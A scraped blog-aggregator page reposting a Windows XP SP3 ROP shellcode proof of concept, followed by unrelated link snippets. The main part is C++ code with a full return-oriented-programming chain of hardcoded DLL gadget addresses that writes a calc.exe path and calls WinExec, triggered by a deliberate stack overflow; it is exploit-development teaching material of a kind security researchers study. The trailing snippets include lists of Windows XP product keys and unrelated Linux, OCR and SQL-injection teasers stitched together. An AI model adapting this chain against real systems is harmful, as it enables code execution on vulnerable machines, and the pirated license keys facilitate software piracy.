Windows XP PRO SP3 - Full ROP calc shellcode
/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysecurity.com/) Notes: This is probably not the most efficient way but I gave the dll's a run for their money ;)) Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version (Important!) ___________|____________|____________|_____________________________ 0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll] 0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll] 0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll] UINT WINAPI WinExec( => PTR to WinExec __in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000 __in UINT uCmdShow => 0x1 );*/#include <iostream>#include "windows.h"char shellcode[]="\xb1\x4f\x97\x7c" // POP ECX # RETN"\xf9\x10\x47\x7e" // Writable PTR USER32.dll"\x27\xfa\x87\x7c" // POP EDX # POP EAX # RETN"\x43\x3a\x5c\x57" // ASCII "C:\W""\x49\x4e\x44\x4f" // ASCII "INDO""\x04\x18\x80\x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x57\x53\x5c\x73" // ASCII "WS\s""\x38\xd6\x46\x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x79\x73\x74\x65" // ASCII "yste""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x63\x61\x6c\x63" // ASCII "calc""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x6d\x33\x32\x5c" // ASCII "m32\""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x2e\x65\x78\x65" // ASCII ".exe""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x9e\x2e\x92\x7c" // XOR EAX,EAX # RETN"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//"\xe5\x02\x88\x7c" // POP EAX # RETN"\x7a\xeb\xc3\x6f" // Should result in a valid PTR in kernel32.dll"\x4f\xda\x85\x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x32\xd9\x44\x7e" // XCHG EAX,EDI # RETN"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\xf5\xd6\x91\x7c" // XOR ECX,ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xb1\x4f\x97\x7c" // POP ECX # RETN"\xed\x2a\x86\x7c" // WinExec()"\xe7\xc1\x87\x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Final RETN for WinExec()"\x8a\x20\x87\x7c"; // Compensate WinExec()//------------------------------------------------------[Write Arguments and execute -> calc]-//void buff() { char a; memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9}int main(){ LoadLibrary("USER32.dll"); // we need this dll char buf[1024]; buff(); return 0;}Windows XP PRO SP3 - Full ROP calc shellcode的更多相关文章
- 原版Windows XP Pro With SP3 VOL MSDN简体中文专业版
2008年5月2日,微软推出Windows XP Pro With SP3 VOL MSDN x86 32位简体中文专业版,这是最经典也是我最喜爱的操作系统之一.在MSDN(微软开发者网络)的网站上查 ...
- Windows XP with SP3大客户免激活日文版
原贴地址:http://www.humin.com.cn/ja_windows_xp_professional_with_service_pack_3_x86_dvd_vl_x14-74058-iso ...
- Microsoft Windows XP SP3 官方原版镜像下载,绝对原版加系列号!
转:http://blog.sina.com.cn/s/blog_638c2e010100op5z.html 写在前面:1. VOL是Volume Licensing for Organization ...
- 最新的windows xp sp3序列号 xp序列号
最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9- ...
- 最新的windows xp sp3序列号(绝对可通过正版验证)
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用 CM3HY-26VYW-6J ...
- 在虚拟机安装windows xp时所需要的序列号
最新的windows xp sp3序列号 xp序列号 最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推 ...
- Windows XP系列全下载(均为MSDN原版)
正版windows xp sp3 下载大全(附:正版密钥) 微软MSDN Windows XP Professional下载 Windows XP Professional 简体中文 (最原始版本,无 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- Windows XP Professional产品序列号
BX6HT-MDJKW-H2J4X-BX67W-TVVFG产品密钥:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8产品密钥:CCC64-69Q48-Y3KWW-8V9GV-TVKRM Wi ...
随机推荐
- linux学习笔记2-命令总结3
文件搜索命令 1.文件搜索命令 find 2.其他文件搜索命令 grep - 在文件中搜索字串匹配的行并输出 locate - 在文件资料库中查找文件 whereis - 搜索命令所在目录及帮助文档路 ...
- OCR识别-python版(一)
需求:识别图片中的文字信息环境:windows系统 开发语言:python 使用工具类:1.pyocr 2.PIL 3.tesseract-ocr 步骤: 1.pyocr 网络通直接使用命令:pip ...
- Bootstrap文本对齐风格
在排版中离不开文本的对齐方式.在CSS中常常使用text-align来实现文本的对齐风格的设置.其中主要有四种风格: ☑ 左对齐,取值left ☑ 居中对齐,取值center ☑ 右对齐,取值r ...
- Sqlserver_sql注入
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- phalcon: 官方多模块
目录结构如下 public/index.php: use Phalcon\Mvc\Router; use Phalcon\Tag; use Phalcon\Mvc\Url; use Phalcon\M ...
- 慎用GetOpenFileName
这两天发现了一个小问题,经过一上午的排查终于找到了问题的原因--Windows 7的API函数GetOpenFileName竟然有BUG! 请参考下面的MFC代码: CFileDialog dlg(T ...
- virutalbox虚拟机硬盘扩容
大小改变为30GB VBoxManage modifyhd d:\newxp.vdi --resize 30000 然后用diskgenius扩从容量
- 浅谈线程池(中):独立线程池的作用及IO线程池
原文地址:http://blog.zhaojie.me/2009/07/thread-pool-2-dedicate-pool-and-io-pool.html 在上一篇文章中,我们简单讨论了线程池的 ...
- jmeter 远程测试
如果你的JMeter客户机不能进行属性,来模拟 足够的用户强调您的服务器或在网络水平是有限的,存在一个选项来控制多个远程JMeter 引擎从一个JMeter客户机. 通过运行JMeter远程,你可以复 ...
- cssText
cssText 的本质就是设置 HTML 元素的 style 属性值 cssText 的方便之处在于一次可以写很多属性,而且变更 CSS 样式不必变 JS 代码,只需变样式字符串.但它有个缺点,就是它 ...